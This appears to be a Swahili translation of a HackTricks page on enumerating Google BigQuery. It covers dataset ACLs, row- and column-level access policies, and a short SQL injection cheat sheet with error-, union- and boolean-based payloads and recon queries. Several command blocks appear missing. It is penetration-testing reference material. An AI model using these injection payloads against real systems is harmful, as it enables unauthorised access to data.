GCP - Bigquery Enum
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Google Cloud BigQuery ni ghala la data la biashara lisilo na seva, linalosimamiwa kikamilifu, likitoa uwezo wa uchambuzi wa petabytes za data, hivyo kushughulikia seti kubwa za data kwa ufanisi. Kama Jukwaa kama Huduma (PaaS), inatoa watumiaji miundombinu na zana za kuwezesha usimamizi wa data bila haja ya uangalizi wa mikono.
Inasaidia kuuliza kwa kutumia ANSI SQL. Vitu vikuu ni datasets vinavyoshikilia tables vinavyoshikilia data ya SQL.
Kwa kawaida, funguo za usimbuaji zinazodhibitiwa na Google zinatumika ingawa inawezekana kuweka funguo za usimbuaji zinazodhibitiwa na Mteja (CMEK). Inawezekana kuashiria funguo za usimbuaji kwa kila dataset na kwa kila table ndani ya dataset.
Inawezekana kuashiria muda wa kuisha katika dataset hivyo kila table mpya itakayoundwa katika dataset hii itafutwa kiotomatiki siku zilizotajwa baada ya kuundwa.
Bigquery imeunganishwa kwa kina na huduma nyingine za Google. Inawezekana kupakia data kutoka kwa buckets, pub/sub, google drive, RDS databases...
Wakati dataset inaundwa, ACLs zimeunganishwa kutoa ufikiaji juu yake. Kwa kawaida, inatolewa haki za Mmiliki kwa mtumiaji aliyeunda dataset na kisha Mmiliki kwa kundi projectOwners (Wamiliki wa mradi), Mwandishi kwa kundi projectWriters, na Msomaji kwa kundi projectReaders:
Ni uwezekano wa kudhibiti mistari ambayo kiongozi anaweza kufikia ndani ya jedwali kwa kutumia sera za ufikiaji wa mistari. Hizi zinafafanuliwa ndani ya jedwali kwa kutumia DDL. Sera ya ufikiaji inaelezea kichujio na ni mistari pekee inayolingana na kichujio hicho ambayo itakuwa inapatikana kwa viongozi waliotajwa.
Ili kudhibiti ufikiaji wa data kwa kiwango cha safu:
Define a taxonomy and policy tags. Unda na usimamie taxonomy na vitambulisho vya sera kwa data yako. https://console.cloud.google.com/bigquery/policy-tags
Hiari: Peana Data Catalog Fine-Grained Reader role to one or more principals kwenye moja au zaidi ya vitambulisho vya sera ulivyounda.
Assign policy tags to your BigQuery columns. Katika BigQuery, tumia maelezo ya muundo kupeana vitambulisho vya sera kwa kila safu ambapo unataka kudhibiti ufikiaji.
Enforce access control on the taxonomy. Kuthibitisha udhibiti wa ufikiaji kunasababisha vizuizi vya ufikiaji vilivyofafanuliwa kwa vitambulisho vyote vya sera katika taxonomy kutumika.
Manage access on the policy tags. Tumia Identity and Access Management (IAM) sera kudhibiti ufikiaji kwa kila kitambulisho cha sera. Sera hiyo inatumika kwa kila safu inayomilikiwa na kitambulisho cha sera.
Wakati mtumiaji anajaribu kufikia data ya safu wakati wa uchunguzi, BigQuery checks the column policy tag and its policy to see whether the user is authorized to access the data.
Kama muhtasari, ili kudhibiti ufikiaji wa baadhi ya safu kwa baadhi ya watumiaji, unaweza add a tag to the column in the schema and restrict the access ya watumiaji kwa kitambulisho kwa kuthibitisha udhibiti wa ufikiaji kwenye taxonomy ya kitambulisho.
Ili kuthibitisha udhibiti wa ufikiaji kwenye taxonomy inahitajika kuwezesha huduma:
Ni inawezekana kuona lebo za safu na:
Kwa maelezo zaidi unaweza kuangalia chapisho la blogu: https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac. Hapa kuna maelezo machache yatakayotolewa.
Maoni:
select 1#from here it is not working
select 1/*between those it is not working*/
Lakini ile ya awali haitafanya kazi
select 1--from here it is not working
Pata maelezo kuhusu mazingira kama vile:
Mtumiaji wa sasa: select session_user()
Kitambulisho cha mradi: select @@project_id
Unganisha safu:
Majina yote ya meza: string_agg(table_name, ', ')
Pata datasets, tables na majina ya safu:
Jina la mradi na dataset:
Majina ya safu na meza za meza zote za dataset:
Seti nyingine katika mradi sawa:
Aina za SQL Injection:
Kulingana na makosa - casting: select CAST(@@project_id AS INT64)
Kulingana na makosa - kugawanya kwa sifuri: ' OR if(1/(length((select('a')))-1)=1,true,false) OR '
Kulingana na umoja (unahitaji kutumia ALL katika bigquery): UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#
Kulingana na boolean: ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'#
Kulingana na muda wa uwezekano - Matumizi ya mifano ya datasets za umma: SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000
Hati:
Kauli za uandishi: https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting
Jifunze & fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Jifunze & fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)